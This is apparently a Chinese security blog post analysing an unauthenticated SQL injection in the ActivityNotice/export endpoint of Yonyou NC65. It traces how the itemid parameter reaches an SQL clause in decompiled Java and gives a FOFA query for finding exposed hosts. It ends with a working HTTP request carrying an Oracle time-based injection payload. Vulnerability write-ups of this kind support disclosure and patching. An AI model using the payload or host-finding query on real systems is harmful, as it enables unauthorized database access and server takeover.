用友NC ActivityNotice/export SQL注入漏洞


漏洞简介

用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。⽤友NC ActivityNotice/export 接⼝处存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进 ⼀步利⽤可导致服务器失陷。

影响版本

NC65

fofa语法

icon_hash="1085941792" || app="用友-UFIDA-NC"

漏洞分析

直接看 ActivityAction 下的 export 方法是如何实现的

@Action
    public void export() {
        try {
            LfwLogger.error("action/export打包下载was日志");
            Logger.error("action/export打包下载was日志");
            HttpServletResponse response = this.getResponse();
            response.setContentType("text/html");
            response.setCharacterEncoding("UTF-8");
            HttpServletRequest request = this.request;
            String itemid = request.getParameter("itemid");
            LfwFileVO[] vos = ActivityViewHelper.getFileIDs(itemid);
            if (vos != null && vos.length > 0) {
                OutputStream out = null;
                OutputStream var10 = response.getOutputStream();
                UFDateTime lastModify = new UFDateTime();
                response.setHeader("Last-Modified", lastModify.toString());
                response.setHeader("Content-Type", "application/zip;charset=UTF-8");
                String fileName = URLEncoder.encode(LfwResBundle.getInstance().getStrByID("signupmng", "ActivityAction-000001"), "UTF-8");
                response.setHeader("Content-Disposition", "attachment;filename=" + fileName);
                ActivityUtil.Zip(vos, var10);
                response.flushBuffer();
                IOUtils.closeQuietly(var10);
            }
        } catch (IOException e) {
            LfwLogger.error("action/export" + e.getMessage());
            Logger.error("action/export" + e.getMessage());
            Logger.error(e.getMessage(), e);
        } catch (Exception e) {
            LfwLogger.error("action/export" + e.getMessage());
            Logger.error("action/export" + e.getMessage());
            Logger.error(e.getMessage(), e);
        }

    }

用户可控参数 itemid 带入 ActivityViewHelper.getFileIDs 方法中,其实现如

public static LfwFileVO[] getFileIDs(String itemID) {
        if (null == itemID) {
            return null;
        } else {
            try {
                LfwFileVO[] lfwfileVos = FileManager.getSystemFileManager("bafile").getFileByItemID(itemID);
                return lfwfileVos != null ? lfwfileVos : null;
            } catch (LfwBusinessException e) {
                throw new LfwRuntimeException(LfwResBundle.getInstance().getStrByID("signupmng", "ActivityViewHelper-000014"), e);
            }
        }
    }

可以看见其又被带入 getSystemFileManager 的 getFileByItemID 方法里

public LfwFileVO[] getFile(String billtype, String billitem) throws LfwBusinessException {
        BaseDAO dao = new BaseDAO();

        try {
            StringBuffer sb = new StringBuffer();
            new LfwFileVO();
            if (StringUtils.isNotBlank(billitem)) {
                sb.append(" pk_billitem = '").append(billitem).append("' ");
                sb.append(" order by lastmodifytime desc ");
                List<? extends SuperVO> l = (List)dao.retrieveByClause(LfwFileVO.class, sb.toString());
                return l.isEmpty() ? null : (LfwFileVO[])((LfwFileVO[])l.toArray(new LfwFileVO[0]));

到这里就比较明了,最终这个参数 itemid 是未经过任何过滤或校验就被直接拼接到sql语句中进行执行从而造成SQL注入漏洞。

漏洞复现

POST /portal/pt/ActivityNotice/export?pageId=login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: nc65.mrxn.net

itemid=1' AND 1=dbms_pipe.receive_message('RDS', 6)--

成功延时 6 秒


手机扫码阅读

用友NC uncancelEvent SQL注入漏洞

通达OA OfficeTask udp 2397 端口SQL注入漏洞检测工具

评 论